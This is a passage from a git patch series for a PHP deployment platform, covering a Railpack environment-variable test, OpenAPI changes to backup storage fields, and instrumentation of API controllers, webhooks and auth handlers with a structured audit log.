$application); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 0); + + $mainServerProperty = $reflection->getProperty('mainServer'); + $mainServerProperty->setAccessible(true); + $mainServerProperty->setValue($job, Mockery::mock(Server::class)); + + $method = $reflection->getMethod('generate_railpack_env_variables'); + $method->setAccessible(true); + $variables = $method->invoke($job); + + $envArgsProperty = $reflection->getProperty('env_railpack_args'); + $envArgsProperty->setAccessible(true); + $envArgs = $envArgsProperty->getValue($job); + + expect($variables->all())->toBe([ + 'RAILPACK_NODE_VERSION' => '22', + 'RAILPACK_CUSTOM_FLAG' => 'hello world', + 'RAILPACK_JSON' => '{"token":"abc"}', + 'RAILPACK_INSTALL_CMD' => 'npm ci && npm run postinstall', + ]); + expect($envArgs)->toContain("--env 'RAILPACK_NODE_VERSION=22'"); + expect($envArgs)->toContain("--env 'RAILPACK_CUSTOM_FLAG=hello world'"); + expect($envArgs)->toContain("--env 'RAILPACK_JSON={\"token\":\"abc\"}'"); + expect($envArgs)->toContain("--env 'RAILPACK_INSTALL_CMD=npm ci && npm run postinstall'"); + expect($envArgs)->not->toContain('RAILPACK_NULL'); +}); + +it('uses preview railpack environment variables for preview deployments', function () { + $application = Mockery::mock(Application::class); + $application->shouldReceive('getAttribute')->with('install_command')->andReturn(null); + + $previewValue = Mockery::mock(EnvironmentVariable::class)->makePartial(); + $previewValue->forceFill([ + 'key' => 'RAILPACK_PREVIEW_ONLY', + 'is_literal' => false, + 'is_multiline' => false, + ]); + $previewValue->shouldReceive('getResolvedValueWithServer')->once()->with(Mockery::type(Server::class))->andReturn('preview-value'); + + $application->shouldReceive('getAttribute') + ->with('railpack_environment_variables_preview') + ->andReturn(collect([$previewValue])); + + $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); + $job->shouldAllowMockingProtectedMethods(); + + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, $application); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 42); + + $mainServerProperty = $reflection->getProperty('mainServer'); + $mainServerProperty->setAccessible(true); + $mainServerProperty->setValue($job, Mockery::mock(Server::class)); + + $method = $reflection->getMethod('generate_railpack_env_variables'); + $method->setAccessible(true); + $variables = $method->invoke($job); + + expect($variables->all())->toBe([ + 'RAILPACK_PREVIEW_ONLY' => 'preview-value', + ]); +}); From 81510e5f6bfae1a844a52e4e2ae78ffbbc4601e5 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 14:50:30 +0200 Subject: [PATCH 099/329] Update versions.json --- openapi.json | 12 ++++++------ openapi.yaml | 12 ++++++------ versions.json | 2 +- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/openapi.json b/openapi.json index d83b30d80..09232be2f 100644 --- a/openapi.json +++ b/openapi.json @@ -4381,8 +4381,8 @@ "description": "Number of days to retain backups locally" }, "database_backup_retention_max_storage_locally": { - "type": "integer", - "description": "Max storage (MB) for local backups" + "type": "number", + "description": "Max storage (GB) for local backups" }, "database_backup_retention_amount_s3": { "type": "integer", @@ -4393,8 +4393,8 @@ "description": "Number of days to retain backups in S3" }, "database_backup_retention_max_storage_s3": { - "type": "integer", - "description": "Max storage (MB) for S3 backups" + "type": "number", + "description": "Max storage (GB) for S3 backups" }, "timeout": { "type": "integer", @@ -4951,7 +4951,7 @@ "description": "Retention days of the backup locally" }, "database_backup_retention_max_storage_locally": { - "type": "integer", + "type": "number", "description": "Max storage of the backup locally" }, "database_backup_retention_amount_s3": { @@ -4963,7 +4963,7 @@ "description": "Retention days of the backup in s3" }, "database_backup_retention_max_storage_s3": { - "type": "integer", + "type": "number", "description": "Max storage of the backup in S3" }, "timeout": { diff --git a/openapi.yaml b/openapi.yaml index aab408098..d6a8d7635 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2765,8 +2765,8 @@ paths: type: integer description: 'Number of days to retain backups locally' database_backup_retention_max_storage_locally: - type: integer - description: 'Max storage (MB) for local backups' + type: number + description: 'Max storage (GB) for local backups' database_backup_retention_amount_s3: type: integer description: 'Number of backups to retain in S3' @@ -2774,8 +2774,8 @@ paths: type: integer description: 'Number of days to retain backups in S3' database_backup_retention_max_storage_s3: - type: integer - description: 'Max storage (MB) for S3 backups' + type: number + description: 'Max storage (GB) for S3 backups' timeout: type: integer description: 'Backup job timeout in seconds (min: 60, max: 36000)' @@ -3160,7 +3160,7 @@ paths: type: integer description: 'Retention days of the backup locally' database_backup_retention_max_storage_locally: - type: integer + type: number description: 'Max storage of the backup locally' database_backup_retention_amount_s3: type: integer @@ -3169,7 +3169,7 @@ paths: type: integer description: 'Retention days of the backup in s3' database_backup_retention_max_storage_s3: - type: integer + type: number description: 'Max storage of the backup in S3' timeout: type: integer diff --git a/versions.json b/versions.json index 3307b7f2e..ef92cfe9e 100644 --- a/versions.json +++ b/versions.json @@ -10,7 +10,7 @@ "version": "1.0.13" }, "realtime": { - "version": "1.0.13" + "version": "1.0.14" }, "sentinel": { "version": "0.0.21" From a2096c6f680731247fd667550bde20df62a910b9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 14:50:37 +0200 Subject: [PATCH 100/329] feat(observability): add structured audit log channel for API and webhook events Introduce a dedicated `audit` log channel (daily rotation, configurable retention via LOG_AUDIT_DAYS) and a small `auditLog()` / `auditLogWebhookFailure()` helper used to record state-changing API operations and webhook events. Instrumented: - API mutation endpoints (create / update / delete / start / stop / restart) across applications, services, databases (incl. backups, env vars, storage), servers, projects + environments, scheduled tasks, private keys, GitHub apps, cloud provider tokens, Hetzner server provisioning, instance enable/disable. - Webhook signature verification outcomes for GitHub, GitLab, Bitbucket, Gitea and Stripe, plus the Sentinel push endpoint. - Authentication and authorization outcomes via the global exception handler and the `ApiAbility` middleware (unauthenticated, ability-denied, policy-denied). The helper is wrapped in try/catch so logging failures never affect the request path. Successful operations log at `info`; suspicious/denied requests log at `warning`. Operators wanting a failures-only feed can set `LOG_AUDIT_LEVEL=warning`. Includes a feature test suite covering the helper, the webhook providers and the new auth/authorization log paths. Co-Authored-By: Claude Opus 4.7 --- app/Exceptions/Handler.php | 22 +- .../Api/ApplicationsController.php | 170 +++++++ .../Api/CloudProviderTokensController.php | 30 +- .../Controllers/Api/DatabasesController.php | 197 ++++++++ app/Http/Controllers/Api/DeployController.php | 25 + app/Http/Controllers/Api/GithubController.php | 21 + .../Controllers/Api/HetznerController.php | 14 +- app/Http/Controllers/Api/OtherController.php | 8 + .../Controllers/Api/ProjectController.php | 37 ++ .../Api/ScheduledTasksController.php | 68 ++- .../Controllers/Api/SecurityController.php | 22 + .../Controllers/Api/ServersController.php | 37 +- .../Controllers/Api/ServicesController.php | 106 +++++ app/Http/Controllers/Webhook/Bitbucket.php | 27 ++ app/Http/Controllers/Webhook/Gitea.php | 21 + app/Http/Controllers/Webhook/Github.php | 39 ++ app/Http/Controllers/Webhook/Gitlab.php | 24 + app/Http/Controllers/Webhook/Stripe.php | 10 +- app/Http/Middleware/ApiAbility.php | 14 +- bootstrap/helpers/audit.php | 81 ++++ config/logging.php | 8 + openapi.json | 12 +- openapi.yaml | 12 +- routes/api.php | 30 ++ tests/Feature/Security/AuditLogTest.php | 445 ++++++++++++++++++ 25 files changed, 1438 insertions(+), 42 deletions(-) create mode 100644 bootstrap/helpers/audit.php create mode 100644 tests/Feature/Security/AuditLogTest.php diff --git a/app/Exceptions/Handler.php b/app/Exceptions/Handler.php index 71de48bcd..58f21c793 100644 --- a/app/Exceptions/Handler.php +++ b/app/Exceptions/Handler.php @@ -4,8 +4,10 @@ use App\Models\InstanceSettings; use App\Models\User; +use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Auth\AuthenticationException; use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler; +use Psr\Log\LogLevel; use RuntimeException; use Sentry\Laravel\Integration; use Sentry\State\Scope; @@ -16,7 +18,7 @@ class Handler extends ExceptionHandler /** * A list of exception types with their corresponding custom log levels. * - * @var array, \Psr\Log\LogLevel::*> + * @var array, LogLevel::*> */ protected $levels = [ // @@ -25,7 +27,7 @@ class Handler extends ExceptionHandler /** * A list of the exception types that are not reported. * - * @var array> + * @var array> */ protected $dontReport = [ ProcessException::class, @@ -49,6 +51,13 @@ class Handler extends ExceptionHandler protected function unauthenticated($request, AuthenticationException $exception) { if ($request->is('api/*') || $request->expectsJson() || $this->shouldReturnJson($request, $exception)) { + if ($request->is('api/*')) { + auditLog('api.auth.unauthenticated', [ + 'reason' => $exception->getMessage(), + 'guards' => $exception->guards(), + ], 'warning'); + } + return response()->json(['message' => $exception->getMessage()], 401); } @@ -61,8 +70,15 @@ protected function unauthenticated($request, AuthenticationException $exception) public function render($request, Throwable $e) { // Handle authorization exceptions for API routes - if ($e instanceof \Illuminate\Auth\Access\AuthorizationException) { + if ($e instanceof AuthorizationException) { if ($request->is('api/*') || $request->expectsJson()) { + if ($request->is('api/*')) { + auditLog('api.auth.policy_denied', [ + 'reason' => $e->getMessage(), + 'route' => $request->route()?->getName() ?? $request->path(), + ], 'warning'); + } + // Get the custom message from the policy if available $message = $e->getMessage(); diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index eb2e7fc53..bb72ebabe 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -1309,6 +1309,15 @@ private function create_application(Request $request, $type) } } + auditLog('api.application.created', [ + 'team_id' => $teamId, + 'application_uuid' => data_get($application, 'uuid'), + 'application_name' => data_get($application, 'name'), + 'application_type' => $type, + 'build_pack' => data_get($application, 'build_pack'), + 'instant_deploy' => (bool) ($instantDeploy ?? false), + ]); + return response()->json(serializeApiResponse([ 'uuid' => data_get($application, 'uuid'), 'domains' => data_get($application, 'fqdn'), @@ -1539,6 +1548,15 @@ private function create_application(Request $request, $type) } } + auditLog('api.application.created', [ + 'team_id' => $teamId, + 'application_uuid' => data_get($application, 'uuid'), + 'application_name' => data_get($application, 'name'), + 'application_type' => $type, + 'build_pack' => data_get($application, 'build_pack'), + 'instant_deploy' => (bool) ($instantDeploy ?? false), + ]); + return response()->json(serializeApiResponse([ 'uuid' => data_get($application, 'uuid'), 'domains' => data_get($application, 'fqdn'), @@ -1739,6 +1757,15 @@ private function create_application(Request $request, $type) } } + auditLog('api.application.created', [ + 'team_id' => $teamId, + 'application_uuid' => data_get($application, 'uuid'), + 'application_name' => data_get($application, 'name'), + 'application_type' => $type, + 'build_pack' => data_get($application, 'build_pack'), + 'instant_deploy' => (bool) ($instantDeploy ?? false), + ]); + return response()->json(serializeApiResponse([ 'uuid' => data_get($application, 'uuid'), 'domains' => data_get($application, 'fqdn'), @@ -1846,6 +1873,15 @@ private function create_application(Request $request, $type) } } + auditLog('api.application.created', [ + 'team_id' => $teamId, + 'application_uuid' => data_get($application, 'uuid'), + 'application_name' => data_get($application, 'name'), + 'application_type' => $type, + 'build_pack' => data_get($application, 'build_pack'), + 'instant_deploy' => (bool) ($instantDeploy ?? false), + ]); + return response()->json(serializeApiResponse([ 'uuid' => data_get($application, 'uuid'), 'domains' => data_get($application, 'fqdn'), @@ -1956,6 +1992,15 @@ private function create_application(Request $request, $type) } } + auditLog('api.application.created', [ + 'team_id' => $teamId, + 'application_uuid' => data_get($application, 'uuid'), + 'application_name' => data_get($application, 'name'), + 'application_type' => $type, + 'build_pack' => data_get($application, 'build_pack'), + 'instant_deploy' => (bool) ($instantDeploy ?? false), + ]); + return response()->json(serializeApiResponse([ 'uuid' => data_get($application, 'uuid'), 'domains' => data_get($application, 'fqdn'), @@ -2039,6 +2084,14 @@ private function create_application(Request $request, $type) StartService::dispatch($service); } + auditLog('api.application.created', [ + 'team_id' => $teamId, + 'service_uuid' => data_get($service, 'uuid'), + 'service_name' => data_get($service, 'name'), + 'application_type' => $type, + 'instant_deploy' => (bool) ($instantDeploy ?? false), + ]); + return response()->json(serializeApiResponse([ 'uuid' => data_get($service, 'uuid'), 'domains' => data_get($service, 'domains'), @@ -2297,6 +2350,12 @@ public function delete_by_uuid(Request $request) dockerCleanup: $request->boolean('docker_cleanup', true) ); + auditLog('api.application.deleted', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + ]); + return response()->json([ 'message' => 'Application deletion request queued.', ]); @@ -2796,6 +2855,13 @@ public function update_by_uuid(Request $request) } $application->save(); + auditLog('api.application.updated', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + ]); + if ($instantDeploy) { $deployment_uuid = new Cuid2; @@ -3048,6 +3114,14 @@ public function update_env_by_uuid(Request $request) } $env->save(); + auditLog('api.application.env_updated', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + 'is_preview' => (bool) $is_preview, + ]); + return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } else { return response()->json([ @@ -3081,6 +3155,14 @@ public function update_env_by_uuid(Request $request) } $env->save(); + auditLog('api.application.env_updated', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + 'is_preview' => (bool) $is_preview, + ]); + return response()->json($this->removeSensitiveData($env))->setStatusCode(201); } else { return response()->json([ @@ -3307,6 +3389,12 @@ public function create_bulk_envs(Request $request) $returnedEnvs->push($this->removeSensitiveData($env)); } + auditLog('api.application.env_bulk_upserted', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'env_count' => $returnedEnvs->count(), + ]); + return response()->json($returnedEnvs)->setStatusCode(201); } @@ -3446,6 +3534,14 @@ public function create_env(Request $request) 'resourceable_id' => $application->id, ]); + auditLog('api.application.env_created', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + 'is_preview' => (bool) $is_preview, + ]); + return response()->json([ 'uuid' => $env->uuid, ])->setStatusCode(201); @@ -3471,6 +3567,14 @@ public function create_env(Request $request) 'resourceable_id' => $application->id, ]); + auditLog('api.application.env_created', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + 'is_preview' => (bool) $is_preview, + ]); + return response()->json([ 'uuid' => $env->uuid, ])->setStatusCode(201); @@ -3562,8 +3666,17 @@ public function delete_env_by_uuid(Request $request) 'message' => 'Environment variable not found.', ], 404); } + $envKey = $found_env->key; + $envUuid = $found_env->uuid; $found_env->forceDelete(); + auditLog('api.application.env_deleted', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'env_uuid' => $envUuid, + 'env_key' => $envKey, + ]); + return response()->json([ 'message' => 'Environment variable deleted.', ]); @@ -3675,6 +3788,15 @@ public function action_deploy(Request $request) ); } + auditLog('api.application.deployed', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'deployment_uuid' => $deployment_uuid->toString(), + 'force_rebuild' => $force, + 'instant_deploy' => $instant_deploy, + ]); + return response()->json( [ 'message' => 'Deployment request queued.', @@ -3763,6 +3885,13 @@ public function action_stop(Request $request) $dockerCleanup = $request->boolean('docker_cleanup', true); StopApplication::dispatch($application, false, $dockerCleanup); + auditLog('api.application.stopped', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'docker_cleanup' => $dockerCleanup, + ]); + return response()->json( [ 'message' => 'Application stopping request queued.', @@ -3853,6 +3982,13 @@ public function action_restart(Request $request) ], 200); } + auditLog('api.application.restarted', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'deployment_uuid' => $deployment_uuid->toString(), + ]); + return response()->json( [ 'message' => 'Restart request queued.', @@ -4221,6 +4357,15 @@ public function update_storage(Request $request): JsonResponse $storage->save(); + auditLog('api.application.storage_updated', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'storage_uuid' => $storage->uuid ?? null, + 'storage_id' => $storage->id, + 'storage_type' => $request->type, + 'mount_path' => $storage->mount_path ?? null, + ]); + return response()->json($storage); } @@ -4399,6 +4544,15 @@ public function create_storage(Request $request): JsonResponse ]); } + auditLog('api.application.storage_created', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'storage_uuid' => $storage->uuid ?? null, + 'storage_id' => $storage->id, + 'storage_type' => $request->type, + 'mount_path' => $storage->mount_path, + ]); + return response()->json($storage, 201); } @@ -4472,8 +4626,18 @@ public function delete_storage(Request $request): JsonResponse $storage->deleteStorageOnServer(); } + $storageType = $storage instanceof LocalFileVolume ? 'file' : 'persistent'; + $storageMountPath = $storage->mount_path ?? null; $storage->delete(); + auditLog('api.application.storage_deleted', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'storage_uuid' => $storageUuid, + 'storage_type' => $storageType, + 'mount_path' => $storageMountPath, + ]); + return response()->json(['message' => 'Storage deleted.']); } @@ -4543,6 +4707,12 @@ public function delete_preview_by_pull_request_id(Request $request): JsonRespons $preview->delete(); CleanupPreviewDeployment::run($application, $pullRequestId, $preview); + auditLog('api.application.preview_deleted', [ + 'team_id' => $teamId, + 'application_uuid' => $application->uuid, + 'pull_request_id' => $pullRequestId, + ]); + return response()->json(['message' => 'Preview deletion request queued.']); } } diff --git a/app/Http/Controllers/Api/CloudProviderTokensController.php b/app/Http/Controllers/Api/CloudProviderTokensController.php index 5be82a31c..d652f2ba1 100644 --- a/app/Http/Controllers/Api/CloudProviderTokensController.php +++ b/app/Http/Controllers/Api/CloudProviderTokensController.php @@ -4,6 +4,7 @@ use App\Http\Controllers\Controller; use App\Models\CloudProviderToken; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Log; @@ -244,7 +245,7 @@ public function store(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -286,6 +287,13 @@ public function store(Request $request) 'name' => $body['name'], ]); + auditLog('api.cloud_token.created', [ + 'team_id' => $teamId, + 'cloud_token_uuid' => $cloudProviderToken->uuid, + 'cloud_token_name' => $cloudProviderToken->name, + 'provider' => $cloudProviderToken->provider, + ]); + return response()->json([ 'uuid' => $cloudProviderToken->uuid, ])->setStatusCode(201); @@ -355,7 +363,7 @@ public function update(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -389,6 +397,14 @@ public function update(Request $request) $token->update(array_intersect_key($body, array_flip($allowedFields))); + auditLog('api.cloud_token.updated', [ + 'team_id' => $teamId, + 'cloud_token_uuid' => $token->uuid, + 'cloud_token_name' => $token->name, + 'provider' => $token->provider, + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($body))), + ]); + return response()->json([ 'uuid' => $token->uuid, ]); @@ -464,8 +480,18 @@ public function destroy(Request $request) return response()->json(['message' => 'Cannot delete token that is used by servers.'], 400); } + $tokenUuid = $token->uuid; + $tokenName = $token->name; + $tokenProvider = $token->provider; $token->delete(); + auditLog('api.cloud_token.deleted', [ + 'team_id' => $teamId, + 'cloud_token_uuid' => $tokenUuid, + 'cloud_token_name' => $tokenName, + 'provider' => $tokenProvider, + ]); + return response()->json(['message' => 'Cloud provider token deleted.']); } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index a6056b9f3..dc9b6f5b5 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -596,6 +596,14 @@ public function update_by_uuid(Request $request) StopDatabaseProxy::dispatch($database); } + auditLog('api.database.updated', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $database->type(), + 'changed_fields' => array_values(array_intersect($allowedFields, array_keys($request->all()))), + ]); + return response()->json([ 'message' => 'Database updated.', ]); @@ -826,6 +834,15 @@ public function create_backup(Request $request) dispatch(new DatabaseBackupJob($backupConfig)); } + auditLog('api.database.backup_created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'backup_uuid' => $backupConfig->uuid, + 'frequency' => $backupConfig->frequency, + 'save_s3' => (bool) $backupConfig->save_s3, + 'backup_now' => (bool) $request->backup_now, + ]); + return response()->json([ 'uuid' => $backupConfig->uuid, 'message' => 'Backup configuration created successfully.', @@ -1045,6 +1062,14 @@ public function update_backup(Request $request) dispatch(new DatabaseBackupJob($backupConfig)); } + auditLog('api.database.backup_updated', [ + 'team_id' => $teamId, + 'backup_uuid' => $backupConfig->uuid, + 'database_id' => $backupConfig->database_id, + 'changed_fields' => array_values(array_intersect($backupConfigFields, array_keys($request->all()))), + 'backup_now' => (bool) $request->backup_now, + ]); + return response()->json([ 'message' => 'Database backup configuration updated', ]); @@ -1779,6 +1804,16 @@ public function create_database(Request $request, NewDatabaseTypes $type) $payload['external_db_url'] = $database->external_db_url; } + auditLog('api.database.created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $type->value, + 'server_uuid' => $serverUuid, + 'is_public' => (bool) $database->is_public, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MARIADB) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; @@ -1838,6 +1873,16 @@ public function create_database(Request $request, NewDatabaseTypes $type) $payload['external_db_url'] = $database->external_db_url; } + auditLog('api.database.created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $type->value, + 'server_uuid' => $serverUuid, + 'is_public' => (bool) $database->is_public, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MYSQL) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; @@ -1897,6 +1942,16 @@ public function create_database(Request $request, NewDatabaseTypes $type) $payload['external_db_url'] = $database->external_db_url; } + auditLog('api.database.created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $type->value, + 'server_uuid' => $serverUuid, + 'is_public' => (bool) $database->is_public, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::REDIS) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; @@ -1953,6 +2008,16 @@ public function create_database(Request $request, NewDatabaseTypes $type) $payload['external_db_url'] = $database->external_db_url; } + auditLog('api.database.created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $type->value, + 'server_uuid' => $serverUuid, + 'is_public' => (bool) $database->is_public, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::DRAGONFLY) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; @@ -2039,6 +2104,16 @@ public function create_database(Request $request, NewDatabaseTypes $type) $payload['external_db_url'] = $database->external_db_url; } + auditLog('api.database.created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $type->value, + 'server_uuid' => $serverUuid, + 'is_public' => (bool) $database->is_public, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::CLICKHOUSE) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; @@ -2075,6 +2150,16 @@ public function create_database(Request $request, NewDatabaseTypes $type) $payload['external_db_url'] = $database->external_db_url; } + auditLog('api.database.created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $type->value, + 'server_uuid' => $serverUuid, + 'is_public' => (bool) $database->is_public, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MONGODB) { $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; @@ -2133,6 +2218,16 @@ public function create_database(Request $request, NewDatabaseTypes $type) $payload['external_db_url'] = $database->external_db_url; } + auditLog('api.database.created', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $type->value, + 'server_uuid' => $serverUuid, + 'is_public' => (bool) $database->is_public, + 'instant_deploy' => (bool) $instantDeploy, + ]); + return response()->json(serializeApiResponse($payload))->setStatusCode(201); } @@ -2217,6 +2312,13 @@ public function delete_by_uuid(Request $request) dockerCleanup: $request->boolean('docker_cleanup', true) ); + auditLog('api.database.deleted', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $database->type(), + ]); + return response()->json([ 'message' => 'Database deletion request queued.', ]); @@ -2329,6 +2431,14 @@ public function delete_backup_by_uuid(Request $request) $backup->delete(); DB::commit(); + auditLog('api.database.backup_deleted', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'backup_uuid' => $request->scheduled_backup_uuid, + 'delete_s3' => $deleteS3, + 'executions_deleted' => $executions->count(), + ]); + return response()->json([ 'message' => 'Backup configuration and all executions deleted.', ]); @@ -2451,6 +2561,14 @@ public function delete_execution_by_uuid(Request $request) $execution->delete(); + auditLog('api.database.backup_execution_deleted', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'backup_uuid' => $request->scheduled_backup_uuid, + 'execution_uuid' => $request->execution_uuid, + 'delete_s3' => $deleteS3, + ]); + return response()->json([ 'message' => 'Backup execution deleted.', ]); @@ -2633,6 +2751,13 @@ public function action_deploy(Request $request) } StartDatabase::dispatch($database); + auditLog('api.database.started', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $database->type(), + ]); + return response()->json( [ 'message' => 'Database starting request queued.', @@ -2724,6 +2849,14 @@ public function action_stop(Request $request) $dockerCleanup = $request->boolean('docker_cleanup', true); StopDatabase::dispatch($database, $dockerCleanup); + auditLog('api.database.stopped', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $database->type(), + 'docker_cleanup' => $dockerCleanup, + ]); + return response()->json( [ 'message' => 'Database stopping request queued.', @@ -2801,6 +2934,13 @@ public function action_restart(Request $request) RestartDatabase::dispatch($database); + auditLog('api.database.restarted', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'database_name' => $database->name, + 'database_type' => $database->type(), + ]); + return response()->json( [ 'message' => 'Database restarting request queued.', @@ -3017,6 +3157,13 @@ public function update_env_by_uuid(Request $request) } $env->save(); + auditLog('api.database.env_updated', [ + 'team_id' => $teamId, + 'database_uuid' => $database->uuid, + 'env_uuid' => $env->uuid, + 'env_key' => $env->key, + ]); + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); } @@ -3145,6 +3292,12 @@ public function create_bulk_envs(Request $request) $updatedEnvs->push($this->removeSensitiveEnvData($env)); } + auditLog('api.database.env_bulk_upserted', [ + 'team_id' => $teamId, + 'database_uuid' 